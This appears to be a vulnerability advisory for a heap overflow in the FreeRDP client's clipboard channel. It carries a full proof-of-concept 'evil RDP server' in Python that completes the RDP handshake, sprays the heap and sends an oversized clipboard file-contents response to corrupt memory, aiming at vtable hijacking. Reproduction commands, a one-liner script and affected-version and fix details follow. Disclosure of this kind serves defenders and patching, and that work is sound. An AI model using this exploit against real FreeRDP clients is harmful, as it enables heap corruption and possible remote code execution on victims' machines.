(STATUS_VALID_CLIENT) — bypass license license_pdu = self._build_license_valid() self._send_pkt(conn, license_pdu, 'License-ValidClient') # Give client time to process License, then proceed to Capability Exchange time.sleep(0.1) def _build_license_valid(self) -> bytes: """ Server License Error PDU: STATUS_VALID_CLIENT (0xFFFFFFFF) bMsgType=0xFF, flags=0x02(PREAMBLE_VERSION_3_0), wMsgSize=16 dwErrorCode=STATUS_VALID_CLIENT, dwStateTransition=ST_NO_TRANSITION bbErrorInfo=empty """ # LICENSE_PREAMBLE: bMsgType(1) flags(1) wMsgSize(2) # LICENSE_ERROR_MESSAGE: dwErrorCode(4) dwStateTransition(4) # BB_ERROR_BLOB: wBlobType(2) wBlobLen(2) # STATUS_VALID_CLIENT = 0x00000007 (license.c:125) # ST_NO_TRANSITION = 0x00000002 # wMsgSize = preamble(4) + ErrorCode(4) + StateTransition(4) + BinaryBlob(4) = 16 lic_data = struct.pack('<BBHIIHH', 0xFF, # bMsgType = ERROR_ALERT (0xFF) 0x03, # flags = PREAMBLE_VERSION_3_0 0x0010, # wMsgSize = 16 0x00000007, # dwErrorCode = STATUS_VALID_CLIENT = 7 0x00000002, # dwStateTransition = ST_NO_TRANSITION 0x0000, # wBlobType = BB_ERROR_BLOB 0x0000 # wBlobLen = 0 ) # Wrap in MCS SDI on global channel with SEC_LICENSE_PKT flag # Security header is 4 bytes: flags(2) + flagsHi(2) — per rdp_read_security_header sec_hdr = struct.pack('<HH', SEC_LICENSE_PKT, 0x0000) # flags + flagsHi=0 uid = getattr(self, '_user_id', 1004) return mcs_sdi_raw(MCS_GLOBAL_CHANNEL, sec_hdr + lic_data, user_id=uid) # Phase 5: Capability Exchange def _phase_capability(self, conn): # Send Demand Active PDU demand = self._build_demand_active() self._send_pkt(conn, demand, 'DemandActivePDU') # Wait for Confirm Active PDU pkt = self._recv_pkt(conn) log.debug('Received ConfirmActivePDU or similar') def _build_demand_active(self) -> bytes: """ Demand Active PDU (MS-RDPBCGR §2.2.1.13.1) Using exact structure based on FreeRDP rdp_write_demand_active_pdu() """ SHARE_ID = 0x10034 # ── General Capability Set (CAPSTYPE_GENERAL=1, length=24) ── gen_cap = struct.pack('<HHHHHHHHHHHH', 0x0001, # capabilitySetType = CAPSTYPE_GENERAL 0x0018, # lengthCapability = 24 0x0001, # osMajorType = OSMAJORTYPE_WINDOWS(1) 0x0003, # osMinorType = OSMINORTYPE_WINDOWS_NT(3) 0x0200, # protocolVersion 0x0000, # pad2octetsA 0x0000, # generalCompressionTypes 0x0000, # extraFlags 0x0000, # updateCapabilityFlag 0x0000, # remoteUnshareFlag 0x0000, # generalCompressionLevel 0x0000 # refreshRectSupport + suppressOutputSupport (2 bytes) ) # 24 bytes # ── Bitmap Capability Set (CAPSTYPE_BITMAP=2, length=28) ── bmp_cap = struct.pack('<HHHHHHHHHHHHHH', 0x0002, # capabilitySetType = CAPSTYPE_BITMAP 0x001C, # lengthCapability = 28 0x0018, # preferredBitsPerPixel = 24 0x0001, # receive1BitPerPixel 0x0001, # receive4BitsPerPixel 0x0001, # receive8BitsPerPixel 0x0280, # desktopWidth = 640 0x01E0, # desktopHeight = 480 0x0000, # pad2octets 0x0001, # desktopResizeFlag 0x0001, # bitmapCompressionFlag 0x0000, # highColorFlags 0x001F, # drawingFlags 0x0001 # multipleRectangleSupport ) # 28 bytes caps_data = gen_cap + bmp_cap num_caps = 2 # source descriptor (null-terminated) source_desc = b'FreeRDP PoC\x00' # capabilitySetsTotalLength = num_caps * capHeader(4) + capData # Actually it's just len(caps_data) for already-packed caps caps_total = len(caps_data) # DemandActive PDU body (MS-RDPBCGR §2.2.1.13.1.1) # shareId(4) + lengthSourceDescriptor(2) + lengthCombinedCapabilities(2) # + sourceDescriptor + numberCapabilities(2) + pad2octets(2) # + capabilitySets + sessionId(4) pdu_body = ( struct.pack('<IHH', SHARE_ID, len(source_desc), 4 + caps_total) + source_desc + struct.pack('<HH', num_caps, 0) + caps_data + struct.pack('<I', 0) # sessionId ) # ShareControlHeader: totalLength(2) + PDUType(2) + PDUSource(2) # PDUSource = userId (server's MCS user id = 1004) sc_len = 6 + len(pdu_body) uid = getattr(self, '_user_id', 1004) sc_hdr = struct.pack('<HHH', sc_len, PDUTYPE_DEMANDACTIVEPDU | 0x0010, # PDU type + version uid # PDU source = server userId ) uid = getattr(self, '_user_id', 1004) return mcs_sdi_raw(MCS_GLOBAL_CHANNEL, sc_hdr + pdu_body, user_id=uid) # Phase 6: RDP Ready def _phase_rdp_ready(self, conn): """ Send Synchronize + Control(cooperate) + Control(granted) + Font Map to bring client into ACTIVE state, virtual channels become available """ SHARE_ID = 0x10034 uid = getattr(self, '_user_id', 1004) def wrap_data_pdu(pdu_type2: int, body: bytes) -> bytes: # ShareControlHeader(6) + ShareDataHeader(12) + body sc_total = 6 + 12 + len(body) sc = share_control_header(PDUTYPE_DATAPDU, uid, sc_total) # uncompressedLength in ShareDataHeader = ShareDataHeader(12) + body sd = share_data_header(SHARE_ID, pdu_type2, 12 + len(body)) return mcs_sdi_raw(MCS_GLOBAL_CHANNEL, sc + sd + body, user_id=uid) # Synchronize PDU sync = wrap_data_pdu(PDUTYPE2_SYNCHRONIZE, struct.pack('<HH', 1, uid)) self._send_pkt(conn, sync, 'Synchronize') # Control PDU (cooperate) ctrl1 = wrap_data_pdu(PDUTYPE2_CONTROL, struct.pack('<HHIH', 4, 0, 0, 0)) self._send_pkt(conn, ctrl1, 'Control-Cooperate') # Control PDU (granted) ctrl2 = wrap_data_pdu(PDUTYPE2_CONTROL, struct.pack('<HHIH', 2, uid, SHARE_ID, 0)) self._send_pkt(conn, ctrl2, 'Control-Granted') # Font Map PDU fontmap = wrap_data_pdu(PDUTYPE2_FONTMAP, struct.pack('<HHHH', 0, 0, 3, 4)) self._send_pkt(conn, fontmap, 'FontMap') # Wait for client Finalization to complete: # Client sends: ClientSynchronizePDU + ClientControlPDU(cooperate) + ClientControlPDU(request) # + ClientFontListPDU = 4 PDUs # Wait for these 4 PDUs (or more, in case of extra virtual channel init packets) finalize_count = 0 for attempt in range(10): pkt = self._recv_pkt(conn) if not pkt: break finalize_count += 1 mcs = pkt[7:] if len(pkt) > 7 else b'' tag = mcs[0] if mcs else 0 log.debug(f' Finalization RECV [{finalize_count}] tag=0x{tag:02x} ({len(pkt)} bytes)') if finalize_count >= 4: # Read at least 4 packets, continue waiting for possible extra packets (50ms timeout) conn.settimeout(0.1) try: extra = recv_tpkt(conn) if extra: log.debug(f' Finalization extra PDU ({len(extra)} bytes), discarding') except Exception: pass finally: conn.settimeout(None) break log.info(f'Finalization complete, received {finalize_count} client PDUs') # Wait for client virtual channel initialization to complete (cliprdr needs VirtualChannelOpen handshake) time.sleep(0.5) # Phase 7: Clipboard Overflow def _phase_clipboard_overflow(self, conn: socket.socket): """ 1. Send CB_MONITOR_READY over virtual channel 2. Wait for client CB_FORMAT_LIST (advertising CF_HDROP) 3. Send CB_FORMAT_LIST_RESPONSE(OK) + our own FORMAT_LIST (CF_HDROP) 4. Wait for client CB_FORMAT_DATA_REQUEST (requesting CF_HDROP data) 5. Reply with CF_HDROP data (containing a filename) 6. Wait for FILECONTENTS_REQUEST (FILECONTENTS_SIZE) 7. Reply with FILECONTENTS_SIZE_RESPONSE (normal, file_size=1024) 8. Wait for FILECONTENTS_REQUEST (FILECONTENTS_RANGE, cb=N) 9. ★ Reply with FILECONTENTS_RANGE_RESPONSE (overflow_size >> N) ← trigger overflow """ # 0. Server Clipboard Capabilities PDU (CB_CLIP_CAPS) # cliprdr_process_clip_caps reads: # cCapabilitiesSets(2) + pad1(2) + [capabilitySetType(2)+lengthCapability(2)+data]*n # CLIPRDR_GENERAL_CAPABILITY: capType=1, length=12, version=1, generalFlags=0x2 general_cap_set = struct.pack('<HHII', 0x0001, # capabilitySetType = CLIPRDR_CAPS_TYPE_GENERAL 0x000C, # lengthCapability = 12 (includes 4-byte header) 0x00000001, # version = CB_CAPS_VERSION_1 0x00000002, # generalFlags = CB_USE_LONG_FORMAT_NAMES ) # 12 bytes total # CB_CLIP_CAPS data body: cCapabilitiesSets(2) + pad1(2) + cap_sets caps_body = struct.pack('<HH', 1, 0) + general_cap_set # 4 + 12 = 16 bytes clips_caps = cliprdr_header(0x0007, 0x0000, caps_body) self._send_pkt(conn, self._wrap_cliprdr(clips_caps), 'CLIP_CAPS') # 1. Monitor Ready mr = build_monitor_ready() self._send_pkt(conn, self._wrap_cliprdr(mr), 'MONITOR_READY') # Main loop state = 'wait_client_format_list' deadline = time.time() + 600 # 10 minute timeout conn.settimeout(120.0) # 120s recv timeout — enough to wait for IStream::Read trigger while time.time() < deadline: try: pkt = self._recv_pkt(conn) except (socket.timeout, OSError): log.debug(' recv timeout in clipboard loop, continuing') continue if not pkt: break # Try to parse virtual channel data cliprdr_data = self._extract_cliprdr(pkt) if cliprdr_data is None: continue if len(cliprdr_data) < 8: continue msg_type, msg_flags, data_len = struct.unpack_from('<HHI', cliprdr_data) payload = cliprdr_data[8:] log.info(f' CLIPRDR msg_type=0x{msg_type:04x} flags=0x{msg_flags:04x} len={data_len}') if msg_type == CB_FORMAT_LIST: # Client's format list → reply OK log.info('[+] Got client CB_FORMAT_LIST, sending response + our format list') resp = build_format_list_response(CB_RESPONSE_OK) self._send_pkt(conn, self._wrap_cliprdr(resp), 'FORMAT_LIST_RESPONSE') # Send our FORMAT_LIST (CF_HDROP) our_list = self._build_server_format_list() self._send_pkt(conn, self._wrap_cliprdr(our_list), 'SERVER_FORMAT_LIST') state = 'wait_format_data_request' elif msg_type == CB_FORMAT_DATA_REQUEST: if len(payload) >= 4: req_format = struct.unpack_from('<I', payload)[0] log.info(f'[+] Got FORMAT_DATA_REQUEST for format=0x{req_format:04x}') fmt_fgdw = getattr(self, '_fmt_fgdw', 0xC0E1) if req_format == fmt_fgdw: # ═══ HEAP FENG SHUI ═══ # Publish NUM_FILES files to make client create multiple CliprdrStream + IStreamVtbl # Each IStreamVtbl = calloc(1, 112) → 112 bytes on heap # Each CliprdrStream = calloc(1, ~632) → ~632 bytes on heap # OLE pv buffer = 1024 bytes # Goal: make pv adjacent to some IStreamVtbl # Overflow pv → overwrite IStreamVtbl function pointers → RIP hijacked on virtual call NUM_FILES = 16 # Multi-file spray to increase collision probability FD_ATTRIBUTES = 0x04 FD_FILESIZE = 0x40 fgdw_data = struct.pack('<I', NUM_FILES) # cItems for i in range(NUM_FILES): filename = f'file_{i:02d}.txt\x00' fname_utf16 = filename.encode('utf-16-le').ljust(520, b'\x00') # Set FD_FILESIZE to avoid extra FILECONTENTS_SIZE requests # File size = 1024 (matches OLE read buffer size) filedesc = struct.pack('<I', FD_ATTRIBUTES | FD_FILESIZE) filedesc += b'\x00' * 16 # clsid filedesc += b'\x00' * 8 # sizel filedesc += b'\x00' * 8 # pointl filedesc += struct.pack('<I', 0x20) # FILE_ATTRIBUTE_ARCHIVE filedesc += b'\x00' * 8 # ftCreationTime filedesc += b'\x00' * 8 # ftLastAccessTime filedesc += b'\x00' * 8 # ftLastWriteTime filedesc += struct.pack('<II', 0, 1024) # size = 1024 filedesc += fname_utf16 fgdw_data += filedesc resp = cliprdr_header(CB_FORMAT_DATA_RESPONSE, CB_RESPONSE_OK, fgdw_data) self._send_pkt(conn, self._wrap_cliprdr(resp), 'FORMAT_DATA_RESPONSE(FGDW)') state = 'wait_filecontents' log.info(f' → Sent FileGroupDescriptorW with {NUM_FILES} files (heap feng shui)') elif req_format == CF_HDROP: resp = build_format_data_response_hdrop(['\\\\server\\share\\evil.txt']) self._send_pkt(conn, self._wrap_cliprdr(resp), 'FORMAT_DATA_RESPONSE(HDROP)') state = 'wait_filecontents' elif msg_type == CB_FILECONTENTS_REQUEST: if len(payload) < 28: continue stream_id, index, flag = struct.unpack_from('<IIH', payload) log.info(f'[+] Got FILECONTENTS_REQUEST stream={stream_id} idx={index} flag=0x{flag:04x}') if flag == FILECONTENTS_SIZE: # Reply with normal file size (1024 bytes) log.info(f' → Responding FILECONTENTS_SIZE=1024 for idx={index}') resp = build_file_contents_response_size(stream_id, 1024) self._send_pkt(conn, self._wrap_cliprdr(resp), 'FILECONTENTS_SIZE_RESP') conn.settimeout(300.0) elif flag == FILECONTENTS_RANGE: # ★★★ Trigger overflow for every file ★★★ # Heap Feng Shui: multi-file overflow increases chance of overwriting IStreamVtbl log.warning(f'[!!!] OVERFLOW idx={index}: ' f'responding with {self.overflow_size} bytes!') resp = build_file_contents_response_overflow(stream_id, self.overflow_size) self._send_pkt(conn, self._wrap_cliprdr(resp), 'FILECONTENTS_RANGE_OVERFLOW') log.warning('[!!!] Overflow PDU sent. Check client-side for heap corruption.') state = 'done' elif msg_type == CB_FORMAT_LIST_RESPONSE: log.debug('Got FORMAT_LIST_RESPONSE from client') log.info(f'Clipboard session ended in state: {state}') def _build_server_format_list(self) -> bytes: """ Server publishes FileGroupDescriptorW + FileContents formats Using long format name mode (CB_USE_LONG_FORMAT_NAMES) Long format: { formatId(4), formatName(UTF-16LE null-terminated, variable) } """ # FileGroupDescriptorW (formatId=0xC0E1=49377, arbitrary registered value) FMT_FILEGROUPDESCRIPTORW = 0xC0E1 FMT_FILECONTENTS = 0xC0E2 self._fmt_fgdw = FMT_FILEGROUPDESCRIPTORW self._fmt_fc = FMT_FILECONTENTS name1 = 'FileGroupDescriptorW\x00'.encode('utf-16-le') name2 = 'FileContents\x00'.encode('utf-16-le') entry1 = struct.pack('<I', FMT_FILEGROUPDESCRIPTORW) + name1 entry2 = struct.pack('<I', FMT_FILECONTENTS) + name2 return cliprdr_header(CB_FORMAT_LIST, 0x0000, entry1 + entry2) def _wrap_cliprdr(self, cliprdr_pdu: bytes) -> bytes: """Wrap cliprdr PDU into RDP Virtual Channel PDU (supports segmentation)""" ch_id = getattr(self, '_cliprdr_channel_id', CLIPRDR_CHANNEL_ID) uid = getattr(self, '_user_id', 1004) total_len = len(cliprdr_pdu) # MCS PER length max = 32767 (0x7FFF) with 2-byte encoding # CHANNEL_PDU_HEADER = 8 bytes, so max chunk data = 16000 (safe margin) MAX_CHUNK = 16000 if total_len + 8 <= MAX_CHUNK: # Small PDU: single packet send flags = CHANNEL_FLAG_FIRST | CHANNEL_FLAG_LAST chan_hdr = struct.pack('<II', total_len, flags) payload = chan_hdr + cliprdr_pdu return mcs_sdi_raw(ch_id, payload, user_id=uid) else: # Large PDU: segmented send, return concatenated packets # freerdp_channel_process() will reassemble segments packets = b'' offset = 0 first = True while offset < total_len: chunk_size = min(MAX_CHUNK, total_len - offset) last = (offset + chunk_size >= total_len) flags = 0 if first: flags |= CHANNEL_FLAG_FIRST if last: flags |= CHANNEL_FLAG_LAST chan_hdr = struct.pack('<II', total_len, flags) chunk_payload = chan_hdr + cliprdr_pdu[offset:offset+chunk_size] packets += mcs_sdi_raw(ch_id, chunk_payload, user_id=uid) offset += chunk_size first = False return packets def _extract_cliprdr(self, tpkt_data: bytes): """Extract cliprdr channel data from TPKT/X.224/MCS packet""" try: if len(tpkt_data) < 7: return None # skip TPKT(4) + X224 DT(3) mcs_data = tpkt_data[7:] if len(mcs_data) < 8: return None tag = mcs_data[0] if tag != 0x64: # MCS SendDataRequest (client→server) return None # MCS SDR PER structure: # tag(1) + initiator(2) + channelId(2) + dataPriority(1) + length(2) = 8 bytes header channel_id_wire = struct.unpack_from('>H', mcs_data, 3)[0] ch_id = getattr(self, '_cliprdr_channel_id', CLIPRDR_CHANNEL_ID) if channel_id_wire != ch_id: return None # dataPriority at offset 5, length at offset 6 (2 bytes, 0x8000 flag) length_field = struct.unpack_from('>H', mcs_data, 6)[0] pdu_len = length_field & 0x7FFF # payload starts at offset 8 chan_payload = mcs_data[8:8+pdu_len] # CHANNEL_PDU_HEADER (8 bytes): totalLength(4) + flags(4) if len(chan_payload) < 8: return None return chan_payload[8:] except Exception: return None # ── Entry Point ───────────────────────────────────────────────────────────────────── def main(): parser = argparse.ArgumentParser( description='VULN-001 PoC: Evil RDP server triggering heap buffer overflow via cliprdr' ) parser.add_argument('--host', default='0.0.0.0', help='Listen address (default: 0.0.0.0)') parser.add_argument('--port', type=int, default=13389, help='Listen port (default: 13389)') parser.add_argument('--overflow-size', type=int, default=65536, help='Bytes to send in FileContentsResponse (default: 65536). ' 'Client requests ~4096 bytes; this overflows by ~61440 bytes.') args = parser.parse_args() if args.overflow_size < 1025: log.warning('overflow-size should be > 1024 to guarantee overflow; ' 'actual client cb depends on IStream consumer buffer.') server = EvilRDPServer(args.host, args.port, args.overflow_size) server.start() if __name__ == '__main__': main() ``` In an MSYS2 MinGW64 terminal (Terminal A): ```bash export MSYSTEM=MINGW64 export PATH=/c/msys64/mingw64/bin:/c/msys64/usr/bin:$PATH cd /c/Users/admin/Downloads/FreeRDP/poc python3 evil_rdp_server.py --port 13389 --overflow-size 65536 ``` #### Launch FreeRDP client In another MSYS2 MinGW64 terminal (Terminal B): ```bash export MSYSTEM=MINGW64 export MSYS2_ARG_CONV_EXCL='*' export PATH=/c/msys64/mingw64/bin:/c/msys64/usr/bin:/c/Users/admin/Downloads/FreeRDP/build_debug/client/Windows/cli:$PATH cd /c/Users/admin/Downloads/FreeRDP/build_debug/client/Windows/cli ./wfreerdp.exe /v:127.0.0.1:13389 /u:poc /p:poc /cert:ignore /clipboard ``` Wait ~5 seconds for the RDP session and clipboard channel to initialize. #### Trigger the paste operation 1. Open Windows Explorer (Win+E) 2. Navigate to any local folder (e.g., `C:\Users\admin\Downloads\tmp\`) 3. Press **Ctrl+V** #### Observe the crash The `wfreerdp.exe` process crashes immediately (SIGSEGV) #### One-liner script ```bash export MSYSTEM=MINGW64 export MSYS2_ARG_CONV_EXCL='*' export PATH=/c/msys64/mingw64/bin:/c/msys64/usr/bin:/c/Users/admin/Downloads/FreeRDP/build_debug/client/Windows/cli:$PATH # Start server python3 /c/Users/admin/Downloads/FreeRDP/poc/evil_rdp_server.py --port 13389 --overflow-size 65536 & SERVER_PID=$! sleep 3 # Start client cd /c/Users/admin/Downloads/FreeRDP/build_debug/client/Windows/cli ./wfreerdp.exe /v:127.0.0.1:13389 /u:poc /p:poc /cert:ignore /clipboard & CLIENT_PID=$! sleep 8 # Now manually press Ctrl+V in Explorer → client crashes echo "Client PID=$CLIENT_PID — press Ctrl+V in Explorer to trigger crash" wait $CLIENT_PID echo "Client exit code: $? (non-zero = crashed)" kill $SERVER_PID 2>/dev/null ``` ### Impact - A malicious RDP server can achieve **arbitrary heap memory corruption** in the FreeRDP client process - Overwrites heap metadata and adjacent heap objects, enabling potential **control flow hijacking** - Under favorable heap layout conditions, this can lead to **Remote Code Execution (RCE)** - The attack requires only that the victim connects to the malicious RDP server (with clipboard redirection enabled by default) and performs a paste operation (Ctrl+V) in Windows Explorer ### Attribution please credit **cbcs** — found by Tencent Yunding Security Lab using agents

Why it matters now

Fix Fixed FreeRDP (freerdp): 3.29.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (freerdp)<= 3.28.03.29.0Patch availableGHSA-cj9v-h4hq-29jr
  • FreeRDP (freerdp) Vendor— Affected <= 3.28.0 Fixed in 3.29.0 Patch available GHSA-cj9v-h4hq-29jr

Remediation

Upgrade FreeRDP to 3.29.0, which fixes the issue.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-cj9v-h4hq-29jr FreeRDP (freerdp) Fixed in 3.29.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-cj9v-h4hq-29jr

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences